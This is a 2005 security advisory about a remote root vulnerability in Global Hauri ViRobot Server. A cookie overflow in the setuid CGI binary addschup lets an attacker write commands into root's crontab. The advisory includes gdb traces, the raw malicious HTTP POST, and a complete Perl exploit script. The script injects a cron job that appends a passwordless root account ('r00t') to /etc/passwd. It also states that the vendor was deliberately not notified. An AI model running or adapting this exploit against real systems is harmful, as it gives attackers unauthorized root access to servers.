DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'
DMA[2005-0614a] - 'Global Hauri ViRobot Server cookie overflow'
Author: Kevin Finisterre
Vendor: http://www.globalhauri.com
Product: 'ViRobot Linux (and Unix?) Server'
References:
http://www.digitalmunition.com/DMA[2005-0614a].txt
Description:
HAURI, Inc. is a leading anti-virus solution provider in the global market.
The "ViRobot" which was developed exclusively by HAURI, is an excellent and
powerful anti-virus that uses a unique type of detection engine technology
to detect the latest viruses and to repair files infected with those viruses.
The HAURI anti-virus technology is regarded highly in Korea and has received
rave reviews from all over the world.
HAURI has a customer base in multiple parts of the world:
US & Canada : Global HAURI Inc. - http://www.globalhauri.com
Singapore : HAURI ASIA Pte Ltd. - http://www.hauri.com.sg
Japan : HAURI JAPAN Inc. - http://www.hauri.co.jp
China : China Blue Star Hauri Technology Co., Ltd. - http://www.hauri.com.cn
Latin/Mexico : HAURI Latinoamerica S.A. - http://www.haurilatin.com
Latin/Brazil : Hauri do Brazil - http://www.haurilatin.com
Europe : Hauri Europe GmbH - http://www.hauri-europe.com
Korea : HAURI Inc. - http://www.hauri.co.kr
HAURI, Inc. is also a GSA Schedule compatible company.
Our testing was performed against the 60 Day ViRobot trial located at:
http://www.globalhauri.com/html/download/down_linux_end.html
b37ae48a9c46985a753f5d28588753c2 /home/kfinisterre/linux_eng_60days.tar.gz
Both ViRobot Unix Server and ViRobot Linux Server have a user-friendly web-based
control interface. Access control is built into the system to ensure that only
authorized personnel can have control of the server. Unfortunately the system
makes use of cookie based authentication in an insecure manor.
During our trial run we found that the /usr/local/ViRobot/cgi-bin/addschup
binary
is vulnerable to a trivial remote expoit. In order to explain the bug we can
make
use of multiple exported variables to simulate a remote request. Below we show
the environmental conditions necessary to exploit addschup remotely.
The fact that addschup is setuid helps make this both a local and remote root.
jdam:/usr/local/ViRobot/cgi-bin# ls -al addschup
-rwsr-sr-x 1 root staff 26484 2005-01-05 01:30 addschup
We need to set the following variables in order to behave as if a browser
request
was made.
kfinisterre@jdam:/tmp$ export REMOTE_ADDR=127.0.0.1
kfinisterre@jdam:/tmp$ export REQUEST_METHOD=POST
kfinisterre@jdam:/tmp$ export CONTENT_TYPE=application/x-www-form-urlencoded
kfinisterre@jdam:/tmp$ export CONTENT_LENGTH=1
kfinisterre@jdam:/tmp$ export PATH=$PATH:/sbin:/usr/sbin
At this point the cgi binary should run however it will complain that we have
not authenticated.
<font size=2>You need to authenticate.</font>
>From the usage of ltrace we found that the request for authentication is
>checked via
a cookie with the paramaters "ViRobot_ID" and "ViRobot_PASS". The ViRobot_PASS
is
optional for exploitation. For the time being setting the ViRobot_ID to a
string of
36 chars should work just fine.
kfinisterre@jdam:/tmp$ export HTTP_COOKIE=ViRobot_ID=<36 chars>
Because we set out CONTENT_LENGTH to 1 earlier we must send at least one char
to the
stdin of the addschup binary. When addschup is satisfied with all environment
of the
variables and the input from stdin it will attempt to create a crontab file for
root.
Since we are running the program as a regular binary rather than as a cgi the
output
html that the web browser should recieve is dumped to the terminal.
kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ echo a | ./addschup
Content-type:text/html
<HTML>
<HEAD></HEAD>
<BODY bgcolor=#FFFFFF text=#000000>
<META HTTP-EQUIV="REFRESH" CONTENT="0; url=/cgi-bin/schupdate">
</BODY>
</HTML>
In the above example we chose to use a ViRobot_ID of 36 chars. We did this in
order
to outline the basis of the vulnerability. As mentioned above addschup attempts
to add
the scheduled update to roots crontab in /var/spool/cron/root. Unfortunately
the
author of ViRobot made use of a small buffer to hold the username from the
cookie data.
Because of this some of our userinput has spilled over into the buffer that is
supposed
to contain the entry that will be placed in the crontab file. The result as you
can see
is a string of four A's in roots crontab just before the vrupdate command.
The above example causes a root crontab entry with malicious userinput.
kfinisterre@jdam:/usr/local/ViRobot/cgi-bin$ cat /var/spool/cron/root
* * * * * AAAA/ViRobot/vrupdate -s > /dev/null 2>&1
The below output from gdb outlines the usage of a small 32 byte buffer to store
the user
name for ViRobot. The data stored in the username variable comes from the
HTTP_COOKIE's
ViRobot_ID field, if this data is longer than 32 chars it will wind up bleeding
over
into the install_path variable.
This is an example of a valid username stored in the username buffer:
0x8052e00 <username>: "virobotadmin-aaaaaaaaaaaa"
0x8052e1c <username+28>: ""
0x8052e1d <username+29>: ""
0x8052e1e <username+30>: ""
0x8052e1f <username+31>: ""
0x8052e20 <install_path>: "/usr/local"
This however shows an overflown username bleeding into the install path.
0x8052e00 <username>: "virobotadmin-aaaaaaaaaaaa", 'A' <repeats 183 times>...
0x8052ec8 <install_path+168>: 'A' <repeats 200 times>...
Overflowing the install_path alone is not enough for exploitation. Lucky for us
the
install_path is used later on as a prefix for the crontab entry. This data
shows what the
cron entry looks like both before and after the overflow of the username field.
0x8052f70: "¼p\025@¼p\025@* /usr/local/ViRobot/vrupdate -s > /dev/null
2>&1\n"
0x8052f70: "¼p\025@¼p\025@* AAAAA/ViRobot/vrupdate -s > /dev/null 2>&1\n"
In essence what happens is that We control the 6th paramater passed to an
fprintf call
that uses the following format.
0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null
2>&1\n"
Controlling the data that is written to roots crontab obviously gives us some
flexibility
for exploitation. Unfortunately we do not have any control over some of the
crontab data
however this does not pose any issue when exploiting the condition.
After writing the data to /var/spool/cron/root virobot executes the following
commands:
killall crond > /dev/null
/etc/rc.d/init.d/crond restart > /dev/null
If we combine the fact that we can write to roots crontab with the fact that
this can all
be done remotely we wind up with a nice exploit.
The above malformed queries can simply be sent via http with the following
request:
POST /cgi-bin/addschup HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007
Debian/1.7.3-5
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-length: 1
Cookie: ViRobot_ID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/echo
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
The logs on the host being attacked will resemble the following:
in /usr/local/ViRobot/var/apache/access_log:
192.168.1.201 - - [23/Jan/2005:16:51:00 -0500] "POST /cgi-bin/addschup
HTTP/1.1" 200 149
in /var/log/messages:
Jan 23 16:51:00 localhost crond: crond startup succeeded
in /var/log/cron:
Jan 23 16:21:44 localhost crond[1779]: (CRON) STARTUP (fork ok)
Jan 23 16:21:45 localhost anacron[1788]: Anacron 2.3 started on 2005-01-23
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.daily' in 65 min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.weekly' in 70 min.
Jan 23 16:21:45 localhost anacron[1788]: Will run job `cron.monthly' in 75 min.
Jan 23 16:21:45 localhost anacron[1788]: Jobs will be executed sequentially
Jan 23 16:50:59 localhost crond[2317]: (CRON) STARTUP (fork ok)
Jan 23 16:51:00 localhost CROND[2322]: (root) CMD (/bin/echo
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)
Jan 23 16:52:00 localhost CROND[2372]: (root) CMD (/bin/echo
r00t::0:0:root:/root:/bin/bash >> /etc/passwd &
/ViRobot/vrupdate -s > /dev/null 2>&1)
in /etc/passwd (per our example).
r00t::0:0:root:/root:/bin/bash
r00t::0:0:root:/root:/bin/bash
Keep in mind that output will be added every minute cron runs unless the attack
has been cleaned up.
This has been tested on the default version of Redhat 9 with
vixie-cron-3.0.1-74 and Debian 3.1 with
cron-3.0pl1-86. The redhat system was exploited instantly. With debian however
the cron package makes
use of /var/spool/cron/crontabs/ which prevents the malformed crontab from
being executed. Debian users
with ViRobot may have made their system exploitable in efforts to have full
functionality. This could have
been done via "ln -s /var/spool/cron/root/ /var/spool/cron/crontabs/root".
Please note that the addschup is not the only binary that overflows via the
above mentioned method. We
found that addschup provided the best remote exploitation. Other binaries may
provide other local or remote
attack vectors.
Work Around:
Chmod -s every virobot binary in sight and filter remote access to the web
interface.
Timeline associated with this bug:
Wed, 14 Mar 2005 Tired of sitting on the information, public disclosure.
Please note that the vendor was NOT notified based on prior frustrating
disclosure attempts.
After the release of SRT2003-08-11-0729 (via SnoSoft) I made the decision to
not deal with the company
moving forward.
Thanks to Alex Hernandez for turning me on to this product and the fact that it
is full of bugs!
-KF
#!/usr/bin/perl
# ViRobot 2.0 remote cookie exploit - ala addschup
# copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# ls: /var/spool/cron/root: No such file or directory
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# -rw-r--r-- 1 root staff 104 2005-01-23 14:43 /var/spool/cron/root
#
# We control the 6th paramater passed to an fprintf call.
#
# 0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s/%s/vrupdate -s >
/dev/null 2>&1\n"
#
# * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd
&/ViRobot/vrupdate -s > /dev/null 2>&1
use IO::Socket;
$hostName = $ARGV[0];
$sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $hostName,
PeerPort => 8080,
Type => SOCK_STREAM
);
if (! $sock)
{
print "[*] Error, could not connect to the remote host: $!\n";
exit (0);
}
$target = "/cgi-bin/addschup";
$crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &";
$postbody = "POST $target HTTP/1.1\n" .
"Host: localhost:8080\n" .
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007
Debian/1.7.3-5\n" .
"Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"
.
"Accept-Encoding: gzip,deflate\n" .
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" .
"Keep-Alive: 300\n" .
"Connection: keep-alive\n" .
"Content-type: application/x-www-form-urlencoded\n" .
"Content-length: 1\n" .
"Cookie: ViRobot_ID=" . "A" x 32 . "$crondata\n";
print $sock $postbody;
close ($sock);
exit (0);